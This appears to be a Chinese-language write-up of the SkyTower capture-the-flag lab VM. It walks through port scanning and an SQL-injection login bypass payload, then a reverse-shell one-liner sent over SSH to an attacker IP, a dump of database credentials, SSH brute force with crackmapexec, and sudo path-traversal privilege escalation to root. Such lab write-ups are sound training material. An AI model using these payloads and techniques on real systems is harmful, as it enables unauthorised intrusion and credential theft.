10-SkyTower

#端口

```
nmap -sS -p- --min-rate 10000 10.30.13.9
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-22 03:59 GMT
Nmap scan report for 10.30.13.9
Host is up (0.000062s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE    SERVICE
22/tcp   filtered ssh
80/tcp   open     http
3128/tcp open     squid-http
MAC Address: 08:00:27:9A:C9:AA (Oracle VirtualBox virtual NIC)
```

##服务

```
nmap -sVC -O 10.30.13.9 --min-rate 8888
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-22 04:01 GMT
Nmap scan report for 10.30.13.9
Host is up (0.00035s latency).
Not shown: 997 closed tcp ports (reset)
PORT     STATE    SERVICE    VERSION
22/tcp   filtered ssh
80/tcp   open     http       Apache httpd 2.2.22 ((Debian))
|_http-server-header: Apache/2.2.22 (Debian)
|_http-title: Site doesn't have a title (text/html).
3128/tcp open     http-proxy Squid http proxy 3.1.20
|_http-title: ERROR: The requested URL could not be retrieved
|_http-server-header: squid/3.1.20
MAC Address: 08:00:27:9A:C9:AA (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3
OS details: Linux 3.2 - 3.10, Linux 3.2 - 3.16
Network Distance: 1 hop
```

漏扫结果

```
登录框存在注入
payloads
'ooorr '1' like '1
```

```
登录后台获得一个账号
Username: john
Password: hereisjohn
```

使用目标代理再次扫描

```
proxychains nmap -sT -n -p- 10.30.13.9
22/tcp open  ssh
```

可登录的ssh

```
目标ssh需要挂代理才能连上，但连上秒退
等ssh时执行条命令
proxychains4 ssh john@10.30.13.9 "sh -i >& /dev/tcp/10.30.13.70/4444 0>&1"

接收
proxychains4 nc -lvnp 4444

#删除让我们秒退的程序
登录账号后找到cat .bashrc ，发现了让我退出时的标语
mv .bashrc .bashrc.bak
再次连ssh不会再秒退
proxychains4 ssh john@10.30.13.9
```

提权

mysql登录账号密码

```
在系统的login.php文件中搜到，mysql的账号密码
$db = new mysqli('localhost', 'root', 'root', 'SkyTech');
```

mysql数据库中搜索到的其他账号信息

```
mysql> select * from login;
+----+--------------------+--------------+
| id | email              | password     |
+----+--------------------+--------------+
|  1 | john@skytech.com   | hereisjohn   |
|  2 | sara@skytech.com   | ihatethisjob |
|  3 | william@skytech.com | senseable    |
+----+--------------------+--------------+

对比/etc/passwd文件，这几个用户都是存在的尝试登录
cat /etc/passwd | grep /home| awk -F: '{print $1}'
john
```

```
sara
william
```

cme爆破

```
#爆出一个账号
proxychains4 crackmapexec ssh  10.30.13.9 -u user.list -p pass.list
proxychains] Dynamic chain  ...  10.30.13.9:3128  ...  10.30.13.9:22  ...  OK
SSH         10.30.13.9      22     10.30.13.9       [+] sara:ihatethisjob
```

sara账号上sudo有root权限

```
sudo -l
Matching Defaults entries for sara on this host:
    env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User sara may run the following commands on this host:
    (root) NOPASSWD: /bin/cat /accounts/*, (root) /bin/ls /accounts/*

#sudo提权
sudo -l 得知我们可以对/accounts/* 做查看文件和目录，*是通配符代表后面加啥都可以

于是
sudo /bin/ls /accounts/../../../root
flag.txt

获得root用户权限
sudo /bin/cat /accounts/../../../root/flag.txt
Congratz, have a cold one to celebrate!
root password is theskytower
```

###root

```
sara@SkyTower:/$ su root
Password:
root@SkyTower:/# id
uid=0(root) gid=0(root) groups=0(root)
root@SkyTower:/# whoami
root
```

```
root@SkyTower:/#
```